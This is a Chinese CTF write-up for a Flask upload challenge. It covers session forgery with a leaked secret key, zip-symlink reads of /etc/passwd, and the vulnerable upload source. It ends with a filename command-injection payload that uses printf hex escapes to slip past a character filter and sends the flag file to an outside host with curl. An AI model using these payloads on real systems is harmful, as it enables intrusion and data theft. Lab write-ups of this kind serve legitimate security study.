浏览器标签中提示了。CTF-Flask-demo
说明这是个Flask框架。随便输入登陆。用户名会显示在主页上
进入upload页面。提示没权限。
明显的session伪造。
那么。我们就需要去找密钥。
在404返回中。我们找到了密钥
开始伪造。一开始用python2伪造。发现不行。用python3就可以了
伪造后刷新。用户名已经变成了admin
尝试文件上传jpg。返回zip only allowed
zip。。之前做过类似的题目。zip软连接。
链接个/etc/passwd
试试手
ln -s /etc/passwd link
zip -ry test.zip link
成功返回/etc/passwd
直接读/flag。直接还是passwd的内容????
接下来就要找flag路径了
右键源代码。看到了源码
@app.route('/upload',methods=['GET','POST'])
def upload():
if session['id'] != b'1':
return render_template_string(temp)
if request.method=='POST':
m = hashlib.md5()
name = session['password']
name = name+'qweqweqwe'
name = name.encode(encoding='utf-8')
m.update(name)
md5_one= m.hexdigest()
n = hashlib.md5()
ip = request.remote_addr
ip = ip.encode(encoding='utf-8')
n.update(ip)
md5_ip = n.hexdigest()
f=request.files['file']
basepath=os.path.dirname(os.path.realpath(__file__))
path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
path_base = basepath+'/upload/'+md5_ip+'/'
filename = f.filename
pathname = path+filename
if "zip" != filename.split('.')[-1]:
return 'zip only allowed'
if not os.path.exists(path_base):
try:
os.makedirs(path_base)
except Exception as e:
return 'error'
if not os.path.exists(path):
try:
os.makedirs(path)
except Exception as e:
return 'error'
if not os.path.exists(pathname):
try:
f.save(pathname)
except Exception as e:
return 'error'
try:
cmd = "unzip -n -d "+path+" "+ pathname
if cmd.find('|') != -1 or cmd.find(';') != -1:
waf()
return 'error'
os.system(cmd)
except Exception as e:
return 'error'
unzip_file = zipfile.ZipFile(pathname,'r')
unzip_filename = unzip_file.namelist()[0]
if session['is_login'] != True:
return 'not login'
try:
if unzip_filename.find('/') != -1:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
image = open(path+unzip_filename, "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
except Exception as e:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
return render_template('upload.html')
@app.route('/showflag')
def showflag():
if True == False:
image = open(os.path.join('./flag/flag.jpg'), "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
else:
return "can't give you"
最后那个/showflag是废的。True怎么==False
但至少。我们知道了flag在./flag/flag.jpg
这里通过路径读取flag有两种解法。
1:
在Linux中/proc/self/cmd会指向当前目录
/proc/self/cmd/flag/flag.jpg=./flag/flag.jpg
所以。我们构造一个软链接就可以读取flag
2:
在Linux中/proc/self/environ包含了进程所有的环境变量。可以在里面获取flask的绝对路径。然后软链接
通过命令执行取读取flag
这里进行了命令拼接。但是不能出现分号斜杠点竖杠flag字符
由于buuctf的靶机访问不了外网。我们就试一下payload
我们可以通过$()这种格式。执行命令。
成功执行了ls。并且在zip中以参数运行。ls是最先执行的
也就是说。ls->zip
虽然在web中会没回显。但是我们可以通过外带数据。拿到flag
curl是可以访问的
如图。用反引号最先执行。获得flag内容。然后再括号内运行。将flag内容作为参数。用curl请求
但是。题目过滤了flag。和/这类的字符。
还记得PHP下的chr(xx)绕过字符吗。
Linux也可以
我们需要绕过/flag/flag.jpg
而/和flag都被过滤
那么我们可以构造
a=/flag
然后a.jpg
思路明确了。下面开始写exp
$(a=`printf '\x2f\x66\x6c\x61\x67'`&&curl 192.168.0.149:8080/`cat .$a$a.jpg`).zip
做题时。把IP换成VPS地址就好了